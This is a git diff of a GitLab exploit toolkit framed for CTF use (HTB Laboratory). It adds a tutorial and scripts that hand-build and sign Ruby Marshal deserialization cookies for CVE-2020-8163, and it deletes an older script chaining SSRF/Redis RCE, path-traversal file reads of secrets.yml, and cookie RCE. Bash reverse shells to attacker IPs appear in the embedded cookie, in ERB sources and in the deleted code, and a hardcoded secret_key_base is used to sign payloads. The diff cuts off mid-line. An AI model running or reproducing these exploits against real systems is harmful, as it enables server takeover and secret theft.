diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a25f4e0 --- /dev/null +++ b/.gitignore @@ -0,0 +1,90 @@ +# ── Byte-compiled / optimised / DLL files ──────────────────────────────────── +__pycache__/ +*.py[cod] +*$py.class + +# ── C extensions ───────────────────────────────────────────────────────────── +*.so + +# ── Distribution / packaging ───────────────────────────────────────────────── +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# ── Virtual environments ────────────────────────────────────────────────────── +.venv/ +venv/ +env/ +ENV/ +.env + +# ── Installer logs ──────────────────────────────────────────────────────────── +pip-log.txt +pip-delete-this-directory.txt + +# ── Unit test / coverage ────────────────────────────────────────────────────── +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +pytestdebug.log + +# ── Type checkers ───────────────────────────────────────────────────────────── +.mypy_cache/ +.dmypy.json +dmypy.json +.pytype/ +.pyre/ + +# ── Linters / formatters ────────────────────────────────────────────────────── +.ruff_cache/ + +# ── Jupyter ─────────────────────────────────────────────────────────────────── +.ipynb_checkpoints +*.ipynb + +# ── Logs ───────────────────────────────────────────────────────────────────── +*.log +logs/ + +# ── Editor / IDE ───────────────────────────────────────────────────────────── +.idea/ +.vscode/ +*.swp +*.swo +*~ +.ropeproject + +# ── OS ─────────────────────────────────────────────────────────────────────── +.DS_Store +Thumbs.db + +# ── Project-specific ───────────────────────────────────────────────────────── +# Captured secrets / loot — never commit target data +loot/ +output/ +*.yml.loot +secrets.txt diff --git a/README.md b/README.md index de1981b..73b1e8e 100644 --- a/README.md +++ b/README.md @@ -1,26 +1,42 @@ -# Gitlab RCE - Remote Code Execution -RCE for old gitlab version <= 11.4.7 & 12.4.0-12.8.1 +# GitLab RCE / LFI -LFI for old gitlab versions 10.4 - 12.8.1 +## Complete refactor code base -This is an exploit for old Gitlab versions. This shouldnt work in the wild but it still seems to be popular in CTFs. -Educational use only. Illegal things are illegal. +Functionality is broken up into modules for easy customization and separation of concerns -CVEs: CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF) & CVE-2020-10977 +Exploit toolkit for old GitLab versions. Primarily seen in CTFs — unlikely to +work against patched production instances. **Educational use only.** -credits: - https://www.youtube.com/watch?v=LrLJuyAdoAg - LiveOverflow - https://github.com/jas502n/gitlab-SSRF-redis-RCE - jas502n - https://hackerone.com/reports/827052 - vakzz - partly inspired by the gitlab RCE metasploit module - -usage: - `python gitlab_rce.py ` - - You might or might not have to tweak this a bit. +## Affected versions -THERE ARE ~~ABSOLUTELY !!NO!!~~ ~~VERY~~ A FEW CHECKS OR ERROR HANDLING! +| Type | Versions | +|------|----------| +| RCE (Redis SSRF) | <= 11.4.7 | +| LFI + RCE (cookie deserialization) | 12.4.0 – 12.8.1 | +| LFI only | 10.4 – 12.8.1 | -needs a HUGE refactor some time in the future. +## CVEs + +- [CVE-2018-19571](https://nvd.nist.gov/vuln/detail/CVE-2018-19571) — SSRF +- [CVE-2018-19585](https://nvd.nist.gov/vuln/detail/CVE-2018-19585) — CRLF injection +- [CVE-2020-10977](https://nvd.nist.gov/vuln/detail/CVE-2020-10977) — path traversal / LFI +- [CVE-2020-8163](https://nvd.nist.gov/vuln/detail/CVE-2020-8163) — RCE via ERB cookie deserialization + +## Usage + +```bash +pip install -r requirements.txt +chmod +x main.py +./main.py +``` + +You will be prompted to select an exploit and start a listener before delivery. + +## Credits + +- [LiveOverflow](https://www.youtube.com/watch?v=LrLJuyAdoAg) +- [jas502n](https://github.com/jas502n/gitlab-SSRF-redis-RCE) +- [vakzz — HackerOne #827052](https://hackerone.com/reports/827052) +- Partly inspired by the GitLab RCE Metasploit module diff --git a/exploit-dev/README.md b/exploit-dev/README.md new file mode 100644 index 0000000..5dc737c --- /dev/null +++ b/exploit-dev/README.md @@ -0,0 +1,139 @@ + +# Hand-Rolling a GitLab Marshal Payload + +This exercise helps you deeply understand the Ruby Marshal deserialization +gadget used in CVE-2020-8163 by building the payload **from scratch**. + +### Goal + +Write a function that generates a **valid Marshal blob** matching the one +produced by the real Rails console. Once the bytes match the known-good +reference, you can confidently sign and deliver it. + +Afterwards, this completed exploit will go into `src/exploits/rce_1281.py` + +--- + +### Step 1: Establish Ground Truth (Reference Payload) + +Before writing any code, extract the exact Marshal bytes from a **known working +cookie** generated by the Rails console. + +Run this script: + +```python +import base64 + +cookie = "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjE5OC80MjA2OSAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=" + +raw = base64.b64decode(cookie) +print(f"Marshal payload length: {len(raw)} bytes") +print(f"Marshal payload hex (first 200 chars): {raw.hex()[:200]}...") +``` + +**Save this output** — this is your **ground truth**. Your function must +produce bytes that match this reference. + +--- + +### Step 2: Understand the ERB Source (Critical Detail) + +The working ERB template (what gets executed) looks like this: + +```ruby +@src = "#coding:UTF-8\n_erbout = +''; _erbout.<<(( `bash -c 'bash -i >& /dev/tcp/10.10.15.198/42069 0>&1'` ).to_s); _erbout" +``` + +**Key requirement**: Your payload must wrap the reverse shell command in proper +ERB output tags: `<%= `command` %>` + +--- + +### Step 3: Build the Payload Function (Scaffold) + +Start with this clean boiler plate. Fill it in **step by step**. + +```python +#!/usr/bin/env python3 + +def build_marshal_payload(attacker_ip: str, attacker_port: int) -> bytes: + + # Step 1 — build the shell command string + cmd = "" # fill this in + + # Step 2 — wrap it in ERB template syntax + erb_src = "" # fill this in + + # Step 3 — encode to bytes and measure length + erb_bytes = b"" # fill this in + src_len = 0 # fill this in + + # Step 4 — build the length prefix + len_prefix = b"" # fill this in + + # Step 5 — concatenate the full Marshal blob + payload: bytes = b"" # fill this in + + return payload + + +def main() -> None: + payload = build_marshal_payload("10.10.15.198", 42069) + print(f"payload length: {len(payload)}") + print(f"payload hex: {payload.hex()}") + + +if __name__ == "__main__": + main() +``` + +--- + +### Recommended Learning Path (Do This in Order) + +1. **Start small** + Implement only **Step 1** and **Step 2**. Print `cmd` and `erb_src`. Verify they look correct. + +2. **Add encoding & length** (Step 3) + Print `erb_bytes` and `src_len`. + +3. **Add length prefix** (Step 4) + Print `len_prefix.hex()`. + +4. **Assemble full payload** (Step 5) + Generate the complete blob and compare its hex against the ground truth from Step 1. + +5. **Validate** + Once the lengths and beginning of the hex match the reference, you know your Marshal structure is correct. + +--- + + + +### Bonus: Byte-by-Byte Analysis (For Deep Understanding) + +Once you have a candidate payload, run this to inspect it like a binary: + +```python +import base64 + +# Paste your generated payload here as raw bytes, or decode from cookie +raw = ... # your build_marshal_payload() output + +for i, b in enumerate(raw): + char = chr(b) if 32 <= b < 127 else '.' + print(f"{i:3d} {b:02x} {b:3d} {char}") +``` + +This will show you exactly where the `@src` string lives, what the length byte is, and how the object graph is laid out. + + +--- + +This exploit dev tutorial implements a progressive flow + +(why → reference → exercise → scaffold → verification), + +improved readability, and better visual separation while preserving **all** original information. + + diff --git a/exploit-dev/base64-to-bin.py b/exploit-dev/base64-to-bin.py new file mode 100644 index 0000000..ec26c56 --- /dev/null +++ b/exploit-dev/base64-to-bin.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 + +import base64 + +""" +About the first two scripts +I left plenty of documentation to help guide you through the the exploit dev process. +Including some relevant related technical information. +But you can delete if you don't need it. + +Step 1 in developing the exploit + +Context to keep in mind +----------------------- +ERB = Embedded Ruby (ERB) is a template language used in Ruby on Rails. +This is a Ruby on Rails cookie from a GitLab instance. +Binary data in HTTP cookies is transported as Base64. +The Base64 decoded value is a Ruby Marshal stream — +which is a serialized object graph that Rails will reconstruct (deserialize) when it reads the cookie. + + + +Questions to answer +------------------- +1. How is binary data transported in HTTP cookies? + -> Base64 encoding. + +2. How to turn Base64 back into raw bytes in Python? + -> base64.b64decode() + +3. You need a way to compare future payload against this reference. + What format is easiest to diff? + -> Hex dump + length. Same length + matching hex prefix = correct structure. + + +The Steps +------------------- +Step 1 — Decode the cookie from Base64 to raw bytes. + Those raw bytes ARE the Marshal stream. + +Step 2 — Print the length. + The reconstructed payload must match this length. + +Step 3 — Print the hex. + The reconstructed payload's hex must match this hex. + +Step 4 — Print byte-by-byte with offset, hex, decimal, and ASCII. + This lets you find exactly where each field lives in the binary, + so you know what bytes to write in each section of my payload. +""" + +# Cookie retrieved from the GitLab 12.8.1 Rails application (HTB: Laboratory) +# Generated via Rails console using the target's extracted secret_key_base +#NOTE: You will need to replace this with your own cookie +cookie_b64 = ( + "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCooIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjE5OC80MjA2OSAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=" +) + +# Decode Base64 → raw Marshal byte stream +# The cookie is Base64-encoded for HTTP transport — decoding reveals the +# binary Marshal object graph that Rails deserializes on the server side +marshal_bytes = base64.b64decode(cookie_b64) + +# Ground truth length — reconstructed payload must match exactly +print(f"length: {len(marshal_bytes)}") + +# Ground truth hex — reconstructed payload hex must match on all +# structural bytes outside the @src content +print(f"hex: {marshal_bytes.hex()}") + + + + + + diff --git a/exploit-dev/ground-truth.py b/exploit-dev/ground-truth.py new file mode 100644 index 0000000..3819063 --- /dev/null +++ b/exploit-dev/ground-truth.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 + +import base64 + +""" +ground-truth.py + +PURPOSE +------- +Decode a known-working Rails cookie and print its raw Marshal bytes in a +human-readable table. This is the reference for reconstructing the payload +in Python — every byte in the final exploit must be traceable back to an +offset in this output. + +CONTEXT +------- +The cookie was generated by the GitLab 12.8.1 Rails console using the +target's secret_key_base (extracted via CVE-2020-10977 file read). +It contains a Ruby Marshal blob encoding a deserialization gadget chain +that executes a reverse shell when Rails deserializes the cookie. + +WHAT THIS SCRIPT DOES +--------------------- +1. Base64-decodes the cookie to recover the raw Marshal byte stream. +2. Prints each byte with four columns: + offset — position in the byte stream (0-indexed) + hex — byte value in hexadecimal + decimal — byte value in decimal + ASCII — printable character, or '.' if non-printable + +HOW TO USE THE OUTPUT +--------------------- +Read the table in logical chunks, not individual bytes. Each chunk is +one field in the Marshal object graph: + + - A class name follows an 'o:' opcode (6f 3a) + - An instance variable name follows a ':' opcode (3a) + - A string follows an 'I"' opcode (49 22) + - The byte immediately after 'I"' is the length byte (actual length + 5) + - The string content follows the length byte directly + +KEY OFFSETS TO FIND +------------------- +When reading the output, locate these three offsets — they define the +boundaries needed to reconstruct the payload in Script 3: + + 1. Where @src begins - find 40 73 72 63 (@src in ASCII) + 2. The length byte - two bytes after @src: the 'I"' opcodes, + then the length byte (value = content length + 5) + 3. Where the trailer begins - the byte immediately after @src content ends + +GROUND TRUTH METRICS +-------------------- +Total length: 383 bytes +Use these to validate the reconstructed payload in Script 3: + - Length must match: 383 bytes + - Hex must match on all structural bytes outside the @src content + +""" + +# original base64 cookie +# replace this with your own base64 cookie +cookie_b64 = ( + "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCooIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjE5OC80MjA2OSAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=" +) + +# Decode the cookie_b64 with base64.b64decode() → get raw bytes +raw = base64.b64decode(cookie_b64) + +#print("offset hex dec ascii") # <- old header +print(f"{'offset':>4} {'hex':<4} {'dec':>3} {'ascii'}") + +for index, byte in enumerate(raw): + ascii_char = chr(byte) if 32 <= byte <= 126 else '.' + print(f"{index:4d} {byte:02x} {byte:3d} {ascii_char}") + +# Uncomment this if you decide to use it as a way of extracting the @src content +# extract the header and trailer bytes +#print("\n" + "="*60) +#print("# === HEADER (bytes 0 to 105 inclusive) ===") +#print(repr(raw[0:106])) +#print("="*60) + +#print("\n# === TRAILER (bytes 220 to end) ===") +#print(repr(raw[220:])) +#print("="*60) + +# print("\n# === CHECKING GROUND TRUTH METRICS ===") +print() +print(f"header length (0-105 inclusive): {len(raw[0:106])}") +print(f"trailer length (220 to end): {len(raw[220:])}") +print(f"src content length (106-219): {len(raw[106:220])}") +print(f"total check: {len(raw[0:106]) + len(raw[106:220]) + len(raw[220:])}") +print() + +print(f"byte at offset 105: {raw[105]:02x} {chr(raw[105]) if 32 <= raw[105] <= 126 else '.'}") + + +print(f"ground truth trailer length: {len(raw[220:])}") +print(repr(raw[220:])) + diff --git a/exploit-dev/xploit-with-comments.py b/exploit-dev/xploit-with-comments.py new file mode 100644 index 0000000..bf940fb --- /dev/null +++ b/exploit-dev/xploit-with-comments.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python3 + +import base64 +import hashlib +import hmac + +def build_marshal_payload(attacker_ip: str, attacker_port: int) -> bytes: + # === STATIC PARTS (extracted from ground truth) === + # keep for reference: header = b'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:\x08ERB\x0b:\x10@safe_level0:\t@srcI"w' + # edited header, stops right after the quote ("), before the old length byte + header = b'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:\x08ERB\x0b:\x10@safe_level0:\t@srcI"' + + trailer = b'\x06:\x06EF:\x0e@encodingIu:\rEncoding\nUTF-8\x06;\nF:\x13@frozen_string0:\x0e@filename0:\x0c@linenoi\x00:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\nT:\x10@deprecatorIu:\x1fActiveSupport::Deprecation\x00\x06;\nT' + + # Previous step 1 & 2. Keeping for reference + # Step 1 — build the shell command string + #cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" + + # Step 2 — wrap it in ERB template syntax + #erb_src = f"<%= `{cmd}` %>" + + # Multiple attempts at this one + # Step 1 — compiled ERB bytecode (generated by ERB.new in Ruby 2.6) + # This is what ERB compiles "<%= `cmd` %>" into — not the template itself + #erb_src = "#coding:UTF-8\n_erbout = +''; _erbout.<<(( `bash -i >& /dev/tcp/172.17.0.1/42069 0>&1` ).to_s); _erbout" + #erb_src = "#coding:UTF-8\n_erbout = +''; _erbout.<<(( `bash -c 'bash -i >& /dev/tcp/172.17.0.1/42069 0>&1'` ).to_s); _erbout" + erb_src = "#coding:UTF-8\n_erbout = +''; _erbout.<<(( `touch /tmp/pwned` ).to_s); _erbout" + + print(f"erb_src: {erb_src}") + + # Step 3 — encode to bytes and measure length + erb_bytes = erb_src.encode('utf-8') + src_len = len(erb_bytes) # 52 + + print(f"erb_bytes: {erb_bytes}") + print(f"src_len: {src_len}") + + # Step 4 — build the length prefix + len_prefix = bytes([src_len + 5]) + + # --- length checks --- + print(f"header length: {len(header)}") + print(f"trailer length: {len(trailer)}") + print(f"len_prefix: {len(len_prefix)}") + print(f"erb_bytes: {len(erb_bytes)}") + print(f"expected total: {len(header) + len(len_prefix) + len(erb_bytes) + len(trailer)}") + + print() + print(repr(header)) + print(f"last byte hex: {header[-1]:02x}") + print() + + print(f"xploit trailer length: {len(trailer)}") + print(repr(trailer)) + print() + + # Step 5 — concatenate the full Marshal blob + payload: bytes = header + len_prefix + erb_bytes + trailer + + # debug print statements + print(f"payload length: {len(payload)}") + print(f"payload hex (first 120): {payload.hex()[:120]}...") + print(f"payload hex (last 80): ...{payload.hex()[-80:]}") + + return payload + +def sign_cookie(payload: bytes, secret_key_base: str) -> str: + key = hashlib.pbkdf2_hmac( + 'sha1', + secret_key_base.encode(), + salt=b"signed cookie", + iterations=1000, + dklen=64 + ) + b64 = base64.b64encode(payload) + digest = hmac.new(key, b64, hashlib.sha1).hexdigest() + return b64.decode() + "--" + digest + + +def main() -> None: + secret = "3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3" + payload = build_marshal_payload("172.17.0.1", 42069) + cookie = sign_cookie(payload, secret) + print(f"\n[+] cookie:\n{cookie}") + +if __name__ == "__main__": + main() + diff --git a/exploit-dev/xploit.py b/exploit-dev/xploit.py new file mode 100644 index 0000000..9e03f96 --- /dev/null +++ b/exploit-dev/xploit.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 + +import base64 +import hashlib +import hmac + +def build_marshal_payload(attacker_ip: str, attacker_port: int) -> bytes: + # STATIC PARTS extracted from ground-truth.py + header = b'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:\x08ERB\x0b:\x10@safe_level0:\t@srcI"' + trailer = b'\x06:\x06EF:\x0e@encodingIu:\rEncoding\nUTF-8\x06;\nF:\x13@frozen_string0:\x0e@filename0:\x0c@linenoi\x00:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\nT:\x10@deprecatorIu:\x1fActiveSupport::Deprecation\x00\x06;\nT' + + # Building the shell and wrapping it in ERB template syntax + erb_src = "#coding:UTF-8\n_erbout = +''; _erbout.<<(( `touch /tmp/pwned` ).to_s); _erbout" + + print(f"erb_src: {erb_src}") + + # encode to bytes and measure length + erb_bytes = erb_src.encode('utf-8') + src_len = len(erb_bytes) # 52 + + print(f"erb_bytes: {erb_bytes}") + print(f"src_len: {src_len}") + + # build the length prefix + len_prefix = bytes([src_len + 5]) + + # length checks + print(f"header length: {len(header)}") + print(f"trailer length: {len(trailer)}") + print(f"len_prefix: {len(len_prefix)}") + print(f"erb_bytes: {len(erb_bytes)}") + print(f"expected total: {len(header) + len(len_prefix) + len(erb_bytes) + len(trailer)}") + + print() + print(repr(header)) + print(f"last byte hex: {header[-1]:02x}") + print() + + print(f"xploit trailer length: {len(trailer)}") + print(repr(trailer)) + print() + + # concatenate the full Marshal blob + payload: bytes = header + len_prefix + erb_bytes + trailer + + # print statements for debugging + print(f"payload length: {len(payload)}") + print(f"payload hex (first 120): {payload.hex()[:120]}...") + print(f"payload hex (last 80): ...{payload.hex()[-80:]}") + + return payload + +def sign_cookie(payload: bytes, secret_key_base: str) -> str: + key = hashlib.pbkdf2_hmac( + 'sha1', + secret_key_base.encode(), + salt=b"signed cookie", + iterations=1000, + dklen=64 + ) + b64 = base64.b64encode(payload) + digest = hmac.new(key, b64, hashlib.sha1).hexdigest() + return b64.decode() + "--" + digest + + +def main() -> None: + secret = "3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3" + payload = build_marshal_payload("172.17.0.1", 42069) + cookie = sign_cookie(payload, secret) + print(f"\n[+] cookie:\n{cookie}") + +if __name__ == "__main__": + main() + diff --git a/gitlab_rce.py b/gitlab_rce.py deleted file mode 100644 index 22f8953..0000000 --- a/gitlab_rce.py +++ /dev/null @@ -1,392 +0,0 @@ -""" -Gitlab RCE+LFI version <= 11.4.7, 12.4.0-12.8.1 - EDUCATIONAL USE ONLY -CVEs: CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF) -CVE-2020-10977 -""" - -import base64 -import hashlib -import hmac -from html.parser import HTMLParser -import random -import string -import sys -import time -import urllib.parse -import urllib3 - -import requests - -urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - - -class GitlabRCE: - description = "oopsie woopsie we made a fucky wucky a wittle fucko boingo!" - - def __init__(self, gitlab_url, local_ip): - self.url = gitlab_url - self.local_ip = local_ip - self.port = 42069 - # change this if the gitlab has restricted email domains - self.email_domain = "gmail.htb" - self.session = requests.session() - self.username = "" - self.password = "" - self.projects = [] - self.issues = [] - - def get_authenticity_token(self, url, i=-1): - result = self.session.get(url, verify=False) - parser = GitlabParse() - token = parser.feed(result.text, i) - if not token: - print("could not get token!") - self.abort() - return token - - def randomize(self): - sequence = string.ascii_letters + string.digits - random_list = random.choices(sequence, k=10) - random_string = "".join(random_list) - return random_string - - def register_user(self): - authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in") - self.username = self.randomize() - self.password = self.randomize() - email = "{}@{}".format(self.username, self.email_domain) - data = {"new_user[email]": email, "new_user[email_confirmation]": email, "new_user[username]": self.username, - "new_user[name]": self.username, "new_user[password]": self.password, - "authenticity_token": authenticity_token} - result = self.session.post(self.url + "/users", data=data, verify=False) - print("registering {}:{} - {}".format(self.username, self.password, result.status_code)) - - def login_user(self): - authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in", 0) - data = {"authenticity_token": authenticity_token, "user[login]": self.username, "user[password]": self.password} - result = self.session.post(self.url + "/users/sign_in", data=data, verify=False) - print(result.status_code) - - def delete_user(self): - authenticity_token = self.get_authenticity_token(self.url + "/profile/account") - data = {"authenticity_token": authenticity_token, "_method": "delete", "password": self.password} - result = self.session.post(self.url + "/users", data=data, verify=False) - print("delete user {} - {}".format(self.username, result.status_code)) - - def create_empty_project(self): - authenticity_token = self.get_authenticity_token(self.url + "/projects/new") - project = self.randomize() - self.projects.append(project) - data = {"authenticity_token": authenticity_token, "project[ci_cd_only]": "false", "project[name]": project, - "project[path]": project, "project[visibility_level]": "0", - "project[description]": "all your base are belong to us"} - result = self.session.post(self.url + "/projects", data=data, verify=False) - print("creating project {} - {}".format(project, result.status_code)) - - def create_issue(self, project_id, text): - issue_link = "{}/{}/{}/issues".format(self.url, self.username, project_id) - authenticity_token = self.get_authenticity_token(issue_link + "/new") - issue_title = self.randomize() - self.issues.append(issue_title) - data = {"authenticity_token": authenticity_token, "issue[title]": issue_title, "issue[description]": text} - result = self.session.post(issue_link, data=data, verify=False) - print("creating issue {} for project {} - {}".format(issue_title, project_id, result.status_code)) - - def main(self): - print("main is not implemented") - - def prepare_payload(self): - print("prepare_payload is not implemented") - - def abort(self): - print("Something went wrong! ABORT MISSION!") - exit() - -class GitlabRCE1147(GitlabRCE): - description = "RCE for Version <=11.4.7" - - def exploit_project_creation(self, payload): - authenticity_token = self.get_authenticity_token(self.url + "/projects/new") - project = self.randomize() - self.projects.append(project) - payload_template = """git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ - multi - sadd resque:gitlab:queues system_hook_push - lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|{payload} \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}" - exec - exec - exec""" - # using replace for formating is shit!! too bad... - payload = payload_template.replace("{payload}", payload) - data = {"authenticity_token": authenticity_token, "project[import_url]": payload, - "project[ci_cd_only]": "false", "project[name]": project, - "project[path]": project, "project[visibility_level]": "0", - "project[description]": "all your base are belong to us"} - result = self.session.post(self.url + "/projects", data=data, verify=False) - print("hacking in progress - {}".format(result.status_code)) - - def prepare_payload(self): - payload = "bash -i >& /dev/tcp/{}/{} 0>&1".format(self.local_ip, self.port) - wrapper = "echo {base64_payload} | base64 -d | /bin/bash" - base64_payload = base64.b64encode(payload.encode()).decode("utf-8") - payload = wrapper.format(base64_payload=base64_payload) - return payload - - def main(self): - self.register_user() - self.exploit_project_creation(self.prepare_payload()) - time.sleep(10) - self.delete_user() - - -class GitlabRCE1281LFI(GitlabRCE): - description = "LFI for version 10.4-12.8.1 and maybe more" - - def __init__(self, gitlab_url, local_ip, file_to_lfi="/etc/passwd"): - super(GitlabRCE1281LFI, self).__init__(gitlab_url, local_ip) - self.file_to_lfi = file_to_lfi - - def get_file(self, url, filename): - print("Grabbing file {}".format(filename)) - result = self.session.get(url, verify=False) - return result.text - - def get_technical_id_of_project(self, project_id): - url = "{}/{}/{}".format(self.url, self.username, project_id) - result = self.session.get(url, verify=False) - parser = ProjectIDParse() - technical_id = parser.feed(result.text) - return technical_id - - def extract_link_from_issue_json(self, issue_json, project_id): - field = issue_json["description"] - file_name = field[field.find("[") + 1:field.find("]")] - file_path = field[field.find("(") + 1:field.find(")")] - url = "{}/{}/{}{}".format(self.url, self.username, project_id, file_path) - return url, file_name - - def lfi_path(self): - return "![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})".format( - self.file_to_lfi) - - def exploit_move_issue(self): - project = self.projects[0] - other_project = self.projects[-1] - url = "{}/{}/{}/issues/1".format(self.url, self.username, project) - technical_project_id_other_project = self.get_technical_id_of_project(other_project) - authenticity_token = self.get_authenticity_token(url) - issue_json = {"move_to_project_id": technical_project_id_other_project} - self.session.headers["X-CSRF-Token"] = authenticity_token - self.session.headers["Referer"] = url - result = self.session.post(url + "/move", json=issue_json, verify=False) - print("moving issue from {} to {} - {}".format(project, other_project, result.status_code)) - url, filename = self.extract_link_from_issue_json(result.json(), other_project) - file_content = self.get_file(url, filename) - return file_content - - def main(self): - self.register_user() - self.create_empty_project() - self.create_empty_project() - self.create_issue(self.projects[0], self.lfi_path()) - file_content = self.exploit_move_issue() - print(file_content) - self.delete_user() - - -class GitlabRCE1281RCE(GitlabRCE1281LFI): - description = "RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP" - - def parse_secrets(self, secrets): - secret_key_base = secrets[secrets.find("secret_key_base: ") + 17:secrets.find("otp_key_base") - 3] - return secret_key_base - - def get_ruby_shit_byte(self): - # ruby marshal REEEEEEEEEEEEEE - length = len(self.local_ip) + len(str(self.port)) - 8 - possible_shit_bytes = "jklmnopqrstuvw" - return possible_shit_bytes[length] - - def build_payload(self, secret): - payload = "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\"{ruby_shit_byte}exit if fork;c=TCPSocket.new(\"{ip}\",{port});while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06;\tT" - payload = payload.replace("{ip}", self.local_ip).replace("{port}", str(self.port)).replace("{ruby_shit_byte}", - self.get_ruby_shit_byte()) - key = hashlib.pbkdf2_hmac("sha1", password=secret.encode(), salt=b"signed cookie", iterations=1000, dklen=64) - base64_payload = base64.b64encode(payload.encode()) - digest = hmac.new(key, base64_payload, digestmod=hashlib.sha1).hexdigest() - return base64_payload.decode() + "--" + digest - - def send_payload(self, payload): - cookie = {"experimentation_subject_id": payload} - result = self.session.get(self.url + "/users/sign_in", cookies=cookie, verify=False) - print("deploying payload - {}".format(result.status_code)) - - def main(self): - self.file_to_lfi = "/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml" - self.register_user() - self.create_empty_project() - self.create_empty_project() - self.create_issue(self.projects[0], self.lfi_path()) - file_contents = self.exploit_move_issue() - secret = self.parse_secrets(file_contents) - payload = self.build_payload(secret) - self.send_payload(payload) - self.delete_user() - - -class GitlabRCE1281LFIUser(GitlabRCE1281LFI): - def main(self): - self.file_to_lfi = self.ask_for_lfi_path() - super(GitlabRCE1281LFIUser, self).main() - - def ask_for_lfi_path(self): - lfi_path = input( - "please type in the fully qualified path of the file you want to LFI. Uses {} when left empty: ".format( - self.file_to_lfi)) - lfi_path = lfi_path.strip() - if not lfi_path: - return self.file_to_lfi - return lfi_path - - -class GitlabVersion(GitlabRCE): - def test(self): - try: - result = self.session.get(self.url, verify=False) - if result.status_code not in 